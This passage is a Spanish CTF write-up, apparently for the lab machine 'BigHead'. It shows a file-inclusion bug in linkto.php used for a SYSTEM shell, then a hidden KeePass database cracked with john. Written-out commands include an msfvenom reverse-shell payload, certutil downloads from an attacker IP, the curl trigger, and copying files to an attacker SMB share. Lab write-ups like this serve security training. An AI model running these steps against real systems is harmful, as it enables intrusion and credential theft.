-rw-rw---- 1 Administrators@BUILTIN None@PIEDPIPER 18009 2018-04-14 08:07 LICENSE
-rw-rw---- 1 Administrators@BUILTIN None@PIEDPIPER 12857 2018-09-02 17:41 linkto.php
-rw-rw---- 1 Administrators@BUILTIN None@PIEDPIPER 8056 2018-04-14 08:07 lnl.php
drwxrwx--- 1 Administrators@BUILTIN None@PIEDPIPER 0 2018-06-24 18:52 locale
-rw-rw---- 1 Administrators@BUILTIN None@PIEDPIPER 10853 2018-04-14 08:07 login.php
-rw-rw---- 1 Administrators@BUILTIN None@PIEDPIPER 1223 2018-04-14 08:07 logout.php
drwxrwx--- 1 Administrators@BUILTIN None@PIEDPIPER 0 2018-06-24 19:00 logs
-rw-rw---- 1 Administrators@BUILTIN None@PIEDPIPER 218 2018-07-08 14:10 note.txt
-rw-rw---- 1 Administrators@BUILTIN None@PIEDPIPER 1206 2018-04-14 08:07 plugin.php
drwxrwx--- 1 Administrators@BUILTIN None@PIEDPIPER 0 2018-09-02 15:53 plugins
-rw-rw---- 1 Administrators@BUILTIN None@PIEDPIPER 13020 2018-04-14 08:07 refactor.txt
drwxrwx--- 1 Administrators@BUILTIN None@PIEDPIPER 0 2018-06-24 18:52 third_party
drwxrwx--- 1 Administrators@BUILTIN None@PIEDPIPER 0 2018-06-24 18:52 upload_area
bvshell:/apps/testlink/htdocs$
Entre los archivos existentes hay un archivo note.txt
donde pide a un usuario que se centre en su subdominio dev
y deje en su code
ya que este ha roto la aplicacion
bvshell:/apps/testlink/htdocs$ cat note.txt
BIGHEAD! You F%*#ing R*#@*d!
STAY IN YOUR OWN DEV SUB!!!...
You have literally broken the code testing app and tools I spent all night building for Richard!
I don't want to see you in my code again!
Dinesh.
bvshell:/apps/testlink/htdocs$
Esto es de gran ayuda ya que deducimos que este es el codigo del subdominio code
, si intentamos cargar un archivo como linkto.php
este existe en el subdominio
Justo en el archivo linkto.php
encontramos una vulnerabilidad y es que ejecuta la funcion require_once
pasandole como argumento lo que recibe por POST
a traves del parametro PiperCoinID
por lo que podemos cargar un php
malicioso
// alpha 0.0.1 implementation of our new pipercoin authentication tech
// full API not done yet. just submit tokens with requests for now.
if(isset($_POST['PiperID'])){$PiperCoinAuth = $_POST['PiperCoinID']; //plugins/ppiper/pipercoin.php
$PiperCoinSess = base64_decode($PiperCoinAuth);
$PiperCoinAvitar = (string)$PiperCoinSess;}
// some session and settings stuff from original index.php
require_once('lib/functions/configCheck.php');
checkConfiguration();
require_once('config.inc.php');
require_once('common.php');
require_once('attachments.inc.php');
require_once('requirements.inc.php');
require_once('testcase.class.php');
require_once('testproject.class.php');
require_once('users.inc.php');
require_once($PiperCoinAuth);
testlinkInitPage($db, true);
Iniciamos por crear un archivo llamado shell.exe
malicioso con msfvenom que nos envie una shell y otro shell.php
que simplemente ejecute ese exe con cmd
❯ msfvenom -p windows/powershell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 1806 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
❯ cat shell.php
<?php
system("cmd /c C:\ProgramData\shell.exe");
?>
Como no tenemos curl
en el equipo podemos descargar ambos archivos en cualquier directorio que tenga permisos de escritura en el windows usando certutil
PS C:\ProgramData> certutil -f -urlcache -split http://10.10.14.10/shell.exe shell.exe
PS C:\ProgramData> certutil -f -urlcache -split http://10.10.14.10/shell.php shell.php
PS C:\ProgramData>
Solo nos queda hacer una petición a el linkto.php
pasandole en el parametro PiperID
cualquier cosa y en PiperCoinID
la ruta del php malicioso que subimos
❯ curl http://code.bighead.htb/testlink/linkto.php -d "PiperID=1&PiperCoinID=C:\ProgramData\shell.php"
Al hacerlo ejecutara el php
que a su vez ejecutara el exe
y este nos enviara una powershell como el usuario nt authority\system
que tiene maximos privilegios
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.112
Windows PowerShell running as user PIEDPIPER$ on PIEDPIPER
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\xampp\apps\testlink\htdocs> whoami
nt authority\system
PS C:\xampp\apps\testlink\htdocs>
En este punto podemos leer la flag user.txt
en el escritorio del usuario nginx
PS C:\Users\nginx\Desktop> type user.txt
5f1**************************bc3
PS C:\Users\nginx\Desktop>
Aunque de primeras no logramos ver el archivo root.txt
ya que esta oculto usando el parametro -force
nos lo muestra sin embargo este tampoco contiene la flag
PS C:\Users\Administrator\Desktop> dir -force
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 06/10/2018 15:38 697 chest.lnk
-a--- 02/07/2018 12:56 3579384 hardentools.exe
-a--- 05/07/2018 18:23 971 Immunity Debugger.lnk
-arh- 06/10/2018 15:33 1519 root.txt
PS C:\Users\Administrator\Desktop> type root.txt
* * *
Gilfoyle's Prayer
___________________6666666___________________
____________66666__________66666_____________
_________6666___________________666__________
_______666__6____________________6_666_______
_____666_____66_______________666____66______
____66_______66666_________66666______666____
___66_________6___66_____66___66_______666___
__66__________66____6666_____66_________666__
_666___________66__666_66___66___________66__
_66____________6666_______6666___________666_
_66___________6666_________6666__________666_
_66________666_________________666_______666_
_66_____666______66_______66______666____666_
_666__666666666666666666666666666666666__66__
__66_______________6____66______________666__
___66______________66___66_____________666___
____66______________6__66_____________666____
_______666___________666___________666_______
_________6666_________6_________666__________
____________66666_____6____66666_____________
___________________6666666________________
Prayer for The Praise of Satan's Kingdom
Praise, Hail Satan!
Glory be to Satan the Father of the Earth
and to Lucifer our guiding light
and to Belial who walks between worlds
and to Lilith the queen of the night
As it was in the void of the beginning
Is now,
and ever shall be, Satan's kingdom without End
so it is done.
* * *
PS C:\Users\Administrator\Desktop>
Antes en los registros habiamos visto uno relacionado a keepass
, buscando encontramos que el usuario Administrator
tiene un archivo de configuracion
PS C:\Users\Administrator\AppData\Roaming\KeePass> dir
Directory: C:\Users\Administrator\AppData\Roaming\KeePass
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 06/10/2018 23:08 4700 KeePass.config.xml
PS C:\Users\Administrator\AppData\Roaming\KeePass>
En este podemos ver que DatabasePath esta seteado al Zone.Identifier
del root.txt
y KeyFilePath esta seteado al archivo admin.png
del directorio Pictures
<KeySources>
<Association>
<DatabasePath>..\..\Users\Administrator\Desktop\root.txt:Zone.Identifier</DatabasePath>
<Password>true</Password>
<KeyFilePath>..\..\Users\Administrator\Pictures\admin.png</KeyFilePath>
</Association>
</KeySources>
Para tranferirlos podemos montar un servidor smb
y simplemente copiar los archivos
❯ impacket-smbserver user . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
PS C:\Users\Administrator\Desktop> cp root.txt \\10.10.14.10\user\root.txt
PS C:\Users\Administrator\Desktop> cp ..\Pictures\admin.png \\10.10.14.10\user\admin.png
PS C:\Users\Administrator\Desktop>
Sabemos que el Zone.Identifier
es una db de keepass asi que lo renombramos
❯ file root.txt:Zone.Identifier
root.txt:Zone.Identifier: Keepass password database 2.x KDBX
❯ mv root.txt:Zone.Identifier file.kdbx
Usando admin.png
como key podemos crear un hash con keepass2john
y crackearlo a traves de fuerza bruta con john
para asi ver su contraseña
❯ keepass2john -k admin.png file.kdbx > hash
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
darkness (file)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Finalmente podemos desbloquear el archivo kdbx
usando como key el archivo admin.png
y la contraseña que gracias a crackearla sabemos que es darkness
Al desbloquearlo podemos ver una credencial llamada root.txt
que tiene la flag